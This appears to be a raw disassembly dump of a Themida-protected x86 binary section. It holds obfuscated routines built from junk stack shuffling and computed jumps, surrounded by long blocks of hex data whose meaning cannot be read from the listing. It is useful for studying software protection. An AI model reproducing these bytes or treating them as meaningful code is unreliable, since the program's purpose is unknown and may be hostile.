		dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch,	33884A57h
		dd 64597A87h
		db 0B8h, 33h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5AF4AE	proc near		; DATA XREF: Themida_:0054AC88o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005509FF SIZE 00000053 BYTES
; FUNCTION CHUNK AT 00559D10 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		push	6D84h
		mov	[esp+0], edi
		push	ecx
		push	esi
		mov	esi, 25DD6C16h
		mov	ecx, 5E4A79EDh
		sub	ecx, esi
		pop	esi
		mov	ebx, 3E776911h
		xor	ebx, ecx
		pop	ecx
		push	esp
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	3912h
		mov	[esp+4+var_4], esi
		mov	esi, ebx
		mov	[edi+8], esi
		pop	esi
		mov	edi, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	ebx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_5509FF
sub_5AF4AE	endp

; ---------------------------------------------------------------------------
		fsub	qword ptr [esp+esi*8]


loc_5AF539:				; CODE XREF: Themida_:005AF0A0j
		mov	eax, 61A68CFh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0AB6Dh
		dd 0B1D14469h, 0A2AE6A66h, 1D9E088Ah, 0C89B0BC2h, 0FED4374Bh
		dd 8D8D7C4Fh, 61A6A75h,	20A99D09h, 8D890614h, 6143229h
		dd 7B3CB866h, 0DE9h, 93D69D00h,	6B69A79h, 3F72CB36h, 85C7B45Ch
		dd 614064Dh, 69CCh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 55C35141h, 18313D48h,	7185C724h, 61426h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0DBA4C355h, 5EBB412h, 0E1B5FF9Dh
		dd 6A061402h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 8185C351h, 3414B397h, 0FE8B52EAh
		dd 0FFF28B5Eh, 14236195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 794527D0h
		dd 97786D54h, 13E8h, 0F89E4D00h, 8901E160h, 0BDDC0C76h
		dd 0D8BFB08Fh, 0EC7A0B3Ch, 5FFE8A57h, 0FF006A58h, 14116995h
		dd 0EBC08B06h, 6DDC91Dh, 2F46E8E3h, 8FB77926h, 0D715E72Ah
		dd 0B1104F0Ch, 0FDC75646h, 9A87AC51h, 34E9FB74h, 58000000h
		dd 93568067h, 9DE61D8Ch, 6E2E81E8h, 6C6C6474h, 6C6C642Eh
		dd 0BD146700h, 0B98003B2h, 0FEh, 4 dup(0)
		dd 0E9000000h, 6EDh, 1A6C6A68h,	1341E906h, 1268FFFAh, 0E9061A6Dh
		dd 0FFFA1337h, 1A6DC068h, 132DE906h, 7868FFFAh,	0E9061A6Eh
		dd 0FFFA1323h, 1A6FA268h, 1319E906h, 7E68FFFAh,	0E9061A70h
		dd 0FFFA130Fh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch
		dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h,	5A7C59ABh
		dd 7B030F61h, 0C528F75h, 41A8A358h, 1A11h, 0C4126800h
		dd 983E4BF7h, 0C90EDB23h, 0C1F048F4h, 0E7B99BB1h, 9A3E51F1h
		dd 131AD325h, 2E8F44A5h, 4A922A82h, 0CEB4BA82h,	0E251F1E7h
		dd 55EDCC05h, 41A6A0FEh, 3D6C7ADCh, 0E5E8F6F9h,	0DDF5C257h
		dd 4DC2F41Fh, 942CF1B4h, 0A31FD1E8h, 0C6066ACAh, 537BFF2Eh
		dd 573D430Bh, 0E45806C9h, 0DB03C9F2h, 723A42ACh, 6C9866Ch
		dd 2C121858h, 405806CAh, 0E22A5218h, 6C9F6DCh, 0B3E20A58h
		dd 6C98D6Fh, 0D4769858h, 90795825h, 6C9A48Ah, 0F890B858h
		dd 0E6B354Ch, 0ED5BD506h, 21070D55h, 3558060Eh,	0F372DE0Dh
		dd 0BF8D9CBh, 21Ch, 0D372D122h,	0A971B965h, 0F15F6DCh
		dd 51F1E829h, 4E7D153Dh, 0E501BF0Ah, 7A340B57h,	6FBCEBB4h
		dd 81A92D5Ch, 96B98CE0h, 58259BF2h, 39913D7Eh, 0EE92000Ah
		dd 0C29DA0A6h, 9C692227h, 7FD7833Ch, 2702128h, 0C9F8A5A8h
		dd 8D51D45h, 55BFEECFh,	0EB33DB49h, 3CAD18E5h, 0DE03EA28h
		dd 0CC8F2F34h, 0AF10C815h, 0D402CF17h, 1EB895E7h, 4A26BF9Dh
		dd 0AF996E52h, 4BBA1h, 5F607C00h, 1AA3300Dh, 0D4E7EBC8h
		dd 8930A582h, 407D5A37h, 0AD03B5EEh, 6441932Ah,	1DFA4C6Dh
		dd 0D5B204BBh, 5C68BA01h, 53E8CED4h, 1FC580Ch, 0F7C4129Ah
		dd 2DD13F4Bh, 908DFE5h,	0D6FE57E5h, 0F8DFAC84h,	92C119C5h
		dd 0DA48E746h, 0B221EE36h, 0A217BE0Bh, 1C676D73h, 0EA5DF923h
		dd 0E5B27AC2h, 0C61ECAF1h, 1A245A40h, 17466E5Eh, 3D5A2B8h
		dd 89B810BCh, 97DEB845h, 6A1684D4h, 0A191C22h, 3F67FCABh
		dd 75198793h, 6B5A272Dh, 42C02C0h, 0D6E9EFBCh, 2D4A1A7h
		dd 4C8A67B9h, 0DA5E916Fh, 8B7593CDh, 4137Dh, 7B82400h
		dd 0C2FBD8B5h, 7C3F9370h, 31884D2Ah, 0E8D502DFh, 555B5D96h
		dd 0CE93B82h, 0C5A2F4C5h, 7D5AAC13h, 4106259h, 5490767Ch
		dd 0A9A4580Ch, 874A1742h, 0DEF80332h, 0E841272Dh, 2D5551F1h
		dd 14E1E995h, 5E444AC3h, 7251F1E8h, 7983B24Ah, 151B630Bh
		dd 57E5EB82h, 8B32A16Eh, 0D45887DFh, 227FBFEDh,	26BE4922h
		dd 0E68AF8D4h, 88FE989Eh, 426A5DFFh, 12A92DFAh,	0C8F3E3C0h
		dd 0CCB2B880h, 0E05E2067h, 171F89B8h, 6863494Fh, 4F775E20h
		dd 0AB2A4AF8h, 1847E7A9h, 0A8F0A00Eh, 134333A2h, 43214964h
		dd 327D01B6h, 65394731h, 0D2000003h, 8663B50Ah,	411E704Dh
		dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h
		dd 5A657350h, 10AB2B08h, 242AB2BEh, 580C553Eh, 12F05752h
		dd 0D30138C4h, 966F0AE2h, 0D84652FEh, 5FDAE028h, 8D57E5A5h
		dd 0F4351365h, 8C000001h, 6AD865D1h, 2D787EC6h,	0FB57E501h
		dd 0BCDE32D3h, 0C6AAE118h, 33DFDEF9h, 76438EDBh, 394372CAh
		dd 13DB23CBh, 42F9270Dh, 0D2543B4Dh, 0CDC49347h, 171D4CE4h
		dd 36265E11h, 38E40C53h, 0CA12BE2Ch, 4BA6F7C4h,	0A8E2C959h
		dd 4261798Dh, 975FA73Fh, 128E71C0h, 0F625F485h,	7ED0EBEBh
		dd 0A88635A1h, 3D42B25Bh, 0ADA8B6A0h, 8A000002h, 3E1B6D52h
		dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h
		dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580C55F6h
		dd 17A80F0Ah, 5A7A8940h, 1A16CC55h, 943F962Ah, 0F2FD2CF9h
		dd 0C28FD7E4h, 765DAA0Fh, 0A2AE1847h, 77448C34h, 0C1A7AD60h
		dd 0D551F24Fh, 0E0E615ADh, 0E57103DAh, 93A07757h, 39447474h
		dd 89B13564h, 5B647441h, 93FE1C2Ch, 73963B08h, 6DE876Dh
		dd 0DB739B58h, 8C34A2ACh, 0F8F33E44h, 0E4C15DF9h, 1522CEEFh
		dd 0CB63FBC2h, 853D142Ah, 2D805CB8h, 0D4ADF120h, 3CEABDACh
		dd 2958636Fh, 0C50DB11Fh, 0F0A80CBFh, 6A7038F2h, 0F311A884h
		dd 0BD417098h, 14E1E995h, 0F64EFAC3h, 0A7C2A8AEh, 0AED6F311h
		dd 0A207757Fh, 0A6EE8633h, 0D89907DEh, 405C6078h, 1172D4BAh
		dd 91C0E8F3h, 0F3B8858Bh, 628AF905h, 664C521Ah,	7AF928F3h
		dd 551D2352h, 0F2A1878Dh, 0A32EF928h, 4C126A16h, 0ECEAF524h
		dd 9CB087CFh, 6EF845BFh, 21F28799h, 0E97749CAh,	9CDAABAh
		dd 6839D4B2h, 0ECD69D87h, 183DEh, 9728B400h, 526B6845h
		dd 0CAF2300h, 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h
		dd 55328435h, 0DEA3C83h, 94A0F2C9h, 5720060Ch, 3934580Ch
		dd 0F7C412D2h, 2DD13F4Bh, 82501DE5h, 0C06C4D84h, 0CC24D068h
		dd 0EBC6599Dh, 0E5B257E5h, 0FFBE19EDh, 0B763FB53h, 84AC305Fh
		dd 55686F3Ch, 175D1626h, 8603FD40h, 3463094Fh, 0CC14BC2Ah
		dd 0EC5932C6h, 12C5A257h, 2FDBE0F6h, 5FA73FD7h,	0A9B84492h
		dd 4F94A62h, 926FC159h,	0BFCB7744h, 8E65AD51h, 2DE75F3Ah
		dd 8E94C354h, 7060688h,	0E22A525Eh, 0CDFCC315h,	0DFDCFAC7h
		dd 0E3C9CF97h, 0F75E27E4h, 0B390A0CFh, 0E0EC9823h, 0DBB70F72h
		dd 18AF886Eh, 1BB306CBh, 0EECB06D3h, 54B3B9BFh,	4A641A8Dh
		dd 0D7D34422h, 66503275h, 0A758h, 734C9000h, 2E8F4421h
		dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h
		dd 310E6059h, 0E9C618A7h, 707CCEEDh, 57FCE2E8h,	1510580Ch
		dd 8B4A17AEh, 0FB2A822Eh, 93DB83F1h, 17FD03CBh,	2B51F1E8h
		dd 0E8674D53h, 537B51F1h, 0BA488CBBh, 0E57EB73h, 6B17A631h
		dd 66337B13h, 0B721506Dh, 3D8F2CAAh, 99457660h,	85881253h
		dd 0CA88EC06h, 0C517A432h, 0FF716EDh, 0A72E072Ch, 52696D78h
		dd 0BC42330Ah, 0BEF12E23h, 0BD18258Fh, 59FB50FCh, 0E8D30339h
		dd 0E0F1BE96h, 0A6D52DD9h, 0D4803B9Bh, 3C6h, 7DE41D00h
		dd 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h
		dd 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah,	4EC8333h
		dd 89243C89h, 4C781E7h,	83000000h, 3C8704EFh, 91685C24h
		dd 8900004Dh, 0BB68242Ch, 89000020h, 0EC81240Ch, 4, 0BA241489h
		dd 61A6B11h, 545AD589h,	83240C8Bh, 895304C4h, 418F53EBh
		dd 0C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 242C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h
		dd 0FFFA0C63h, 8639CC3h, 714AB850h, 0C503061Ah,	0C0F9E0FFh
		dd 0AE2A63FEh, 562143E6h, 8C7069C2h, 9F161AEBh,	69D23C81h
		dd 1877059Dh, 0E8D64C8Ah, 6E954FE5h, 59815E5Eh,	1B072074h
		dd 0C52B7B0Ah, 8953578Eh, 95C7468Bh, 0BE9014FFh, 0AE85D63h
		dd 84000000h, 1B585DAAh, 268C4EE8h, 0F7816688h,	0F95ADBBDh
		dd 5ED8C281h, 0A0B80000h, 6867C4B3h, 1798h, 4DDF081h, 815E17D2h
		dd 3FCF61F7h, 0E932FF2Bh, 0Eh, 0D6AB66D8h, 0DA736421h
		dd 4F3FDBAFh, 805B9D8Dh, 0F3813BEDh, 0D7BDEF3h,	0B1D8B966h
		dd 7240F381h, 0EB8117C7h, 1470DE27h, 0CE9h, 2DB54F00h
		dd 232BF7B6h, 0AC7E0AF0h, 0FC1A892Ah, 0F504EA83h, 0B2850F4Eh
		dd 0E9FFFFFFh, 24h, 3B2D332Ah, 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B03ED
; ---------------------------------------------------------------------------
		push	61A73CEh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61A7459h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	61A75F4h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0E6h
		dd 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h,	1F58AA13h
		dd 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch, 383EC6D2h
		dd 580C5A52h, 12046B66h, 444CF8C5h, 2F5E6177h, 5359B224h
		dd 51F1E86Dh, 6FC15981h, 31792593h, 4EA89269h, 4D6E5379h
		dd 5D19FF05h, 52D51F2h,	91D392D6h, 618957E5h, 708D6FB5h
		dd 76985806h, 68A6BFD4h, 0EBB8F8D9h, 33191FEAh,	4758067Dh
		dd 0F258871Fh, 34Bh, 874A1709h,	0E7967C82h, 82AA51F1h
		dd 0B7E63EEAh, 0FA68056Bh, 0BD080E56h, 8B57E501h, 36EC263h
		dd 8FB52868h, 68DBC1C7h, 17EF556Bh, 6B692B11h, 7F173F55h
		dd 694B3137h, 375F556Bh, 0E090FE08h, 0B508CB98h, 7C82B109h
		dd 5E994F76h, 11BDE55Bh, 9FE79705h, 72B4A499h, 50875461h
		dd 92BA3E6Dh, 62597D4Ah, 36854D1Ah, 0BC1AF707h,	98A521FFh
		dd 0F2DC351Dh, 383E4h, 0C3FCE000h, 7E3F9471h, 38834F2Ch
		dd 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h, 815EB009h
		dd 39166857h, 0C0CC1E9Dh, 5B4C3238h, 6560580Ch,	494F17FEh
		dd 51F1E863h, 813E9A77h, 0B6E57DD5h, 15E23EACh,	9076FCC3h
		dd 0A451F1E7h, 18A32F7Ch, 0BF323880h
dword_5B0000	dd 6B57EB7Bh, 0DB87349Eh, 0F3D05483h, 0FC44DCDFh, 4D706734h
					; DATA XREF: Themida_:00549FFCo
		dd 0F1A49A1h, 0C6A3F5C8h, 0BA00AC11h, 580C5AD9h, 4B8C7A5Ch
		dd 0D66EC672h, 0A4F2D8F8h, 0C5D3BD3Eh, 2F8h, 0FC4E716Bh
		dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h
		dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0C5BD7BDh
		dd 89F0EB58h, 2E8B4A17h, 8E747A82h, 0A251F1E7h,	0A9B3E27Ah
		dd 834B933Bh, 0B74DE4BBh, 0C2483E1Eh, 0F28F563Ch, 0F5426A51h
		dd 6CB0DFDEh, 57EC22F9h, 4B53FF27h, 29AE587Eh, 0F850FC94h
		dd 1A385C9h, 8CAE580Dh,	0D390D5CEh, 0CC6EF8D2h,	66000001h
		dd 964B4F8Fh, 0E6155F9Dh, 0F7C412FFh, 64983E4Bh, 1E27FA46h
		dd 0E610F70Fh, 57653990h, 0FDD92BC3h, 12A72A8Fh, 225B327Ah
		dd 9D9903DFh, 0ECF2F827h, 57E5A359h, 0ADF39FC7h, 580682CBh
		dd 9E3300D6h, 0E8176F1Bh, 6E45F496h, 30522E91h,	1581B0F6h
		dd 0F8D97850h, 32AEh, 0FED9A600h, 56EECB0Ah, 0A5134027h
		dd 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h, 8A52E7A3h
		dd 6029E84h, 5B8AB258h,	0D9D676EFh, 0DF88F8h, 179F0000h
		dd 0E863494Fh, 4F7751F1h, 0FAC11520h, 5A79464Eh, 0AE293463h
		dd 8056630Fh, 0B026F33Bh, 6A72DC0Bh, 0DB87369Dh, 8D495483h
		dd 6C6DC2Eh, 4C51F1EDh,	47A6AA75h, 67B4F01Ch, 4CA4506Bh
		dd 42C4121Dh, 5F5A7791h, 2BC31BC7h, 0BD16E3h, 0BDCDFC54h
		dd 83CB73E1h, 0E72BE47Dh, 0D8FFCC57h, 0A32B6E5h, 2C32FAC2h
		dd 58090B46h, 65547D5Ah, 44939ECDh, 0ADDC3C9h, 0C9F15809h
		dd 3F07DF31h, 90B5339h,	103F6758h, 0DEBD205h, 3EA842CDh
		dd 5DE4F2DCh, 6000001h,	0BA97E9D6h, 7552A419h, 2F0C5E5Dh
		dd 0E4C113A6h, 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h
		dd 44775F3Ch, 585EE6F2h, 580C5D72h, 12248B86h, 55DC39C5h
		dd 0C1B13F9Dh, 0BE14E129h, 0ACF951FDh, 5262912Ah, 85A6175h
		dd 42C4124Fh, 1AD02794h, 2551CBCDh, 470F57EFh, 0F2A35B41h
		dd 18476F51h, 8635A1AEh, 46EA5834h, 0F8DF8FEh, 511957E6h
		dd 6F1654Bh, 22517958h,	612E769Eh, 429A4675h, 97400D13h
		dd 2FFCD426h, 0A4E817A2h, 5806F0C2h, 0DA2C8F47h, 37E3DAFDh
		dd 0BF29h, 44946100h, 0F0DFC5CBh, 0CBF35806h, 131D0433h
		dd 0E9B1F9A5h, 1608D512h, 62911611h, 0EC709F1Eh, 0F7FDD557h
		dd 580D5011h, 0B965FD25h, 0D866DAB1h, 0ADA3DC43h, 0DE3406ADh
		dd 87B64E07h, 0F615A7Ch, 506D6A37h, 121D4CA4h, 434BF7C4h
		dd 0C38F757Bh, 7BA3580Dh, 2E99084Ch, 5BBF72E2h,	3C420A3Fh
		dd 95451056h, 813426Ah,	0D8A5EDCEh, 8393C2FBh, 438B30A6h
		dd 0F8F757Bh, 7BA39545h, 3DAE24Ch, 83612F80h, 0E3EE1DF0h
		dd 0B27FC7F2h, 0FD679623h, 0B04406A8h, 0C5F6E026h, 0E129C119h
		dd 0C458270Ah, 0E41362B3h, 2E34FCD4h, 95456A48h, 0FA05345Ch
		dd 0CA97DFDCh, 1680AF0Ch, 308h,	7DE45F00h, 49F5CA12h, 75219A3Ch
		dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
		dd 8733884Ah, 0B864597Ah, 4EC8333h, 55242489h, 4BDh, 246C0100h
		dd 89525D04h, 4C281E2h,	83000000h, 148704EAh, 34895C24h
		dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 242C895Ch
		dd 43ECBF57h, 38BE372Ch, 31313631h, 243C8BFEh, 8104C483h
		dd 4ECh, 24248900h, 4240481h, 5D000000h, 59BB5356h, 2933A40Fh
		dd 5B04245Ch, 8108458Fh, 0F590845h, 34FF33A4h, 0C4815D24h
		dd 4, 5E2434FFh, 4C481h, 20E90000h, 49FFFA06h, 335ACC31h
		dd 0E759251Bh, 41FCBC5Ah
; ---------------------------------------------------------------------------
		pop	es


loc_5B03ED:				; CODE XREF: Themida_:005AFE90j
		mov	eax, 61A7776h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 28D6h
		dd 2ED5069Ch, 32AA0E59h, 93640680h, 0A7426C7Fh,	0FA453796h
		dd 0FE160544h, 269D244Bh, 0F4044BD2h, 0C5001476h, 5F666771h
		dd 28830905h, 0C4264F09h, 9E757334h, 1D657C8Fh,	541C3150h
		dd 5E85C0Eh, 2000000h, 4E564F22h, 0CE9h, 4C6C6100h, 1694C375h
		dd 0F99B098Eh, 0E9805883h, 4CC081E2h, 66000068h, 0FF2BCA8Bh
		dd 8BCE8B66h, 820F381Ch, 3, 81D38B66h, 0B145BBC3h, 0ABC3814Eh
		dd 805B6F21h, 0F3818CF2h, 2D7E4F15h, 0E0B953FCh, 8F6337EDh
		dd 0F08A3804h, 0F60CEF81h, 0D28104F9h, 21149F7Ah, 0F608C781h
		dd 0BA6604F9h, 0FF81053Dh, 0FFFF985Ch, 26850Fh,	0BE90000h
		dd 1F000000h, 838CA18Ch, 1BA6E3C4h, 20E9696Eh, 80000000h
		dd 90AC6CC1h, 412A9947h, 9BE009A5h, 61928106h, 0E9D18B66h
		dd 0FFFFFF83h, 8660A79Eh, 53DFF07Eh, 5DB17DC7h,	0AEB121BFh
		dd 3FA82556h, 0FF39AC0Bh, 0A0ABA5B4h, 594C7B77h, 7889F62Ch
		dd 0B8F73256h, 95B13256h, 269DB727h, 0BED13256h, 0ABB13242h
		dd 868CD0DCh, 88DAB347h, 0F250DC53h, 38580CEFh,	3856C8E9h
		dd 0FC48E5D7h, 7FD02E9Eh, 0ABB37464h, 0DF393256h, 480C9B0h
		dd 75CA9303h, 0BAB1CB56h, 5DA2BE59h, 28BE3256h,	57B1325Bh
		dd 0ABB13ABFh, 88EF4356h, 70349D32h, 9CB1323Ch,	0BAB13258h
		dd 0C3171E2Dh, 95F25B55h, 96EBF8B0h, 0ABB1ED50h, 0C063D36h
		dd 0EAD0E4DDh, 6F0AC756h, 2A7B320Ch, 53580AC9h,	0CB13256h
		dd 62D683E5h, 311CCDD5h, 95BAE0D4h, 0EAB15399h,	1461B936h
		dd 0BAEAC1CBh, 0E8B13256h, 0C82BBB0Bh, 0B3141853h, 9E215877h
		dd 3C987390h, 3AF035Dh,	75B1325Bh, 8FF5C59Fh, 3DBDC894h
		dd 0DBB872A3h, 0BEB13288h, 0ABB13247h, 0C337FA59h, 0F6C577CEh
		dd 53560765h, 957DA677h, 3DB132DAh, 0EC998930h,	58B13237h
		dd 0ABB12ADEh, 0D5A2DB56h, 3BE33256h, 22DE573h,	0EAF41E26h
		dd 62B95AA8h, 0A80FEDC4h, 0ABB132D8h, 0CB4D3256h, 0D5B134BFh
		dd 95BACD56h, 0F5A52902h, 0BAD02F93h, 5DA2DB56h, 40953256h
		dd 0FD93CD84h, 0C9A44A5Dh, 690DA8E9h, 9BC00EA8h, 89B1323Ah
		dd 0BF583256h, 6CB13256h, 0B97C2423h, 0BFD13256h, 0ABB1325Fh
		dd 0B74C2C40h, 60ED4701h, 73586A27h, 3B13256h, 0A9B318C6h
		dd 0AEB153E4h, 0BEB132AAh, 0ABB13242h, 233B1956h, 16B7FE0Bh
		dd 1958F2A5h, 4ADAAD42h, 141906F4h, 0AE4D3256h,	51595256h
		dd 1B13256h, 449EF5BEh,	0EA333D01h, 2CB13256h, 0BAA5BB59h
		dd 53593256h, 0EBB13256h, 3CD9F54Dh, 0A61111CDh, 188E5BF1h
		dd 0EAD06CF0h, 64585256h, 0EB13256h, 591F25EBh,	7687F0Dh
		dd 8930A8B4h, 83288775h, 0D5B13DBEh, 2DAE556h, 40FB6BE8h
		dd 765C3B3Eh, 9AD0A2E0h, 765EB330h, 57D06B87h, 0ABB1CB56h
		dd 0D5ADB559h, 53D13256h, 4F2637AEh, 0BAB122BFh, 0E40C7C56h
		dd 986C8B62h, 50A0D3C6h, 115B986Dh, 0D5B1535Ah,	0EAB13DBFh
		dd 0CE5B8756h, 0E656C9CAh, 7F50910Ah, 0EA5D353Ah, 5F583256h
		dd 55B13256h, 8238823Fh, 0EA4D6694h, 62303D56h,	53B13256h
		dd 5DB13244h, 8057A588h, 46FC1160h, 0CF95FE6Dh,	51694542h
		dd 0EAB15259h, 75B8B759h, 0D13256h, 37EAE76Fh, 0AED05336h
		dd 5D343D56h, 0CBB13256h, 0D5B1B659h, 0B4E73256h, 75B13037h
		dd 0BAB13256h, 0D46F5522h, 845EC6D3h, 5741E111h, 0AA3C3D56h
		dd 29B13256h, 0EAB83581h, 75BD3255h, 0BAB23254h, 5E293276h
		dd 86D4DBD7h, 57B1CA37h, 0CBB132AEh, 0D5B153AEh, 98958836h
		dd 1448549Ch, 0BA493256h, 5DB1CE56h, 0AEB13ABFh, 0E5AB7056h
		dd 16BA0729h, 9FB13202h, 66BE3254h, 75B1325Bh, 82A78936h
		dd 9E3070A0h, 0DA9A31E7h, 1DB13237h, 0ABB13254h, 2EEA9844h
		dd 8C820502h, 0D5819E5Ah, 0BAB10086h, 5DA4B659h, 0BE583256h
		dd 46B13256h, 2C5958FFh, 93C6E10h, 0D015237Ah, 0E52DF99Eh
		dd 20B48C36h, 50594E63h, 2FB13256h, 0EAA55570h,	123131E4h
		dd 0A01D6DA8h, 8BE8E4DDh, 15E36206h, 0BAA5DBCAh, 0B86D3256h
		dd 0CF7959ECh, 0CAC575D0h, 3251D144h, 80BD0D08h, 3430693Ch
		dd 310FA060h, 0BAB13EBFh, 9FBC9656h, 0A0B82285h, 4D740E79h
		dd 0A058AF1Dh, 0F2B13256h, 29C34F82h, 6A0F4B16h, 0B5D0073Ah
		dd 5DB7DB67h, 0B9273256h, 0E493DF52h, 0B2216A0Ch, 3D8D88h
		dd 0E52CE9BCh, 0E6D0FDE1h, 0DB438559h, 555FB3C6h, 479F718Ch
		dd 57B13250h, 7605B590h, 0B42C1104h, 3E16A0Ch, 75B13242h
		dd 211BA71Ah, 2AC7236Eh, 0BDB37FB2h, 38FF7B06h,	20EB372Ah
		dd 0D5B132C0h, 33911104h, 0E0FD4DC8h, 0AB89A9FCh, 10554520h
		dd 2FD72154h, 0BEAB7CB0h, 0ABB13242h, 5EEB372Ah, 8D97B33Eh
		dd 76038F42h, 0E54F8BD6h, 26BB47FAh, 8E68ACBh, 0FD06FABh
		dd 907B073Ah, 0C227830Eh, 5993DF52h, 75A2DBCAh,	26BE3256h
		dd 0D59A48F3h, 9AB67477h, 0F712E00Bh, 674E2C0Fh, 4305443h
		dd 0EC58B5EEh, 83B13256h, 387C56A1h, 7D0AFC5h, 0A1B16A0Eh
		dd 57B13ADAh, 0A93C3D56h, 0B5B13256h, 61D75237h, 75B1538Fh
		dd 0BAB137BFh, 413B1B56h, 0AEB129DFh, 57BAB859h, 0CDD13256h
		dd 0F3E2FCD7h, 86738830h, 7AB13237h, 0BAB135DAh, 5C3C3D56h
		dd 56B13256h, 0BE4D3256h, 0ABB13246h, 0EC680FB6h, 0A2D814C9h
		dd 0C8D44ED7h, 7195AC8h, 5D483256h, 0A2313D56h,	0BEB13256h
		dd 0ABB13251h, 1BD72742h, 0E5F186E7h, 75B133D0h, 0BAB1CB56h
		dd 5DBFB659h, 0A7583256h, 71B13256h, 0C57AD096h, 63FAF34Fh
		dd 62BE3256h, 75B13258h, 0C26EB336h, 0DCF6BBB9h, 5DAD5485h
		dd 57B1533Eh, 0ABB13FBFh, 16969C56h, 9C61D698h,	0B920B03h
		dd 0BAB1EFDDh, 5DA7B259h, 2BBE3256h, 57B13246h,	0ABB139BFh
		dd 0FF1EF156h, 87C70AD1h, 0ADBFE7C4h, 536DB836h, 5DB1325Fh
		dd 0C402DFB0h, 3CA3228Ch, 0ABB153F3h, 0D5B13BBFh, 0FC274C56h
		dd 0DC3C91BEh, 0BAB15C48h, 5DBADB36h, 78B73256h, 0D9502500h
		dd 530140F4h, 0D33F3DE4h, 0E5B13256h, 75B132D5h, 0BAB15356h
		dd 0B4B132A3h, 0AEB13245h, 0E615F4Ah, 0C04F97B2h, 0E26503F7h
		dd 83CA06E5h, 9C96B4DDh, 0BAB1325Fh, 4295973Ch,	8923A57Ch
		dd 0BEB132A1h, 0ABB1325Fh, 71C682E1h, 69687506h, 89B13255h
		dd 0BAB122BFh, 0C23FA656h, 5C76E773h, 3DC246C4h, 8377F84Ch
		dd 0B5B132DFh, 34AB930h, 75B13251h, 34A89787h, 3C2A69DCh
		dd 47B132AEh, 57B1325Bh, 6904F028h, 0D3996F2Ch,	0F2B78216h
		dd 9CB132B5h, 0BAB1325Ah, 0CA6EB3ABh, 10A7B6A7h, 85FE4CA9h
		dd 0ABB0B159h, 0D5493256h, 5CD15256h, 75393D64h, 0DBB13256h
		dd 52B13237h, 0AEB133D1h, 5E58CB56h, 0FCB13256h, 0E931E351h
		dd 0B8DD4DC5h, 7F583256h, 0FBB13256h, 7DE20448h, 0C287DDDh
		dd 58B132D5h, 0ABB122DBh, 0D5BADB56h, 0D88B3256h, 5A244EC7h
		dd 9BF3DA29h, 0B4B132CEh, 0AEB13245h, 7D0AEA02h, 0D1B0F2CDh
		dd 0DD5F084Ch, 0B2F26AA3h, 7587AA47h, 0BABADB56h, 0E7073256h
		dd 22EC0496h, 29CA61C9h, 42B132C5h, 0D5B1325Eh,	6C084DD0h
		dd 7F7A1CE3h, 0BC583256h, 2EB13256h, 336B9BF7h,	0AFB132F6h
		dd 0AB483256h, 0C1313D56h, 0E5B13256h, 75B13CD3h, 0BAB8DB56h
		dd 67BD3256h, 5C1AD0B6h, 573ADFD8h, 0A158CB56h,	0E7B13256h
		dd 1DDA86C4h, 0F570FE10h, 0B5B1321Ah, 5DB121DCh, 0A3323D56h
		dd 0BEB13256h, 0ABB1325Eh, 58F0F084h, 0DAA91FB9h, 7AD13256h
		dd 0BAB130D2h, 0D67AB956h, 0AEB15391h, 57B6B359h, 29BE3256h
		dd 0D5B13257h, 61D152A3h, 75303D9Ch, 0DBB13256h, 0CA038DE8h
		dd 0AEB15322h, 57A5B859h, 0A4583256h, 97B13256h, 130B8B1Dh
		dd 60E1509Ah, 6B0F02DCh, 5D48204Fh, 0B2373D56h,	37B13256h
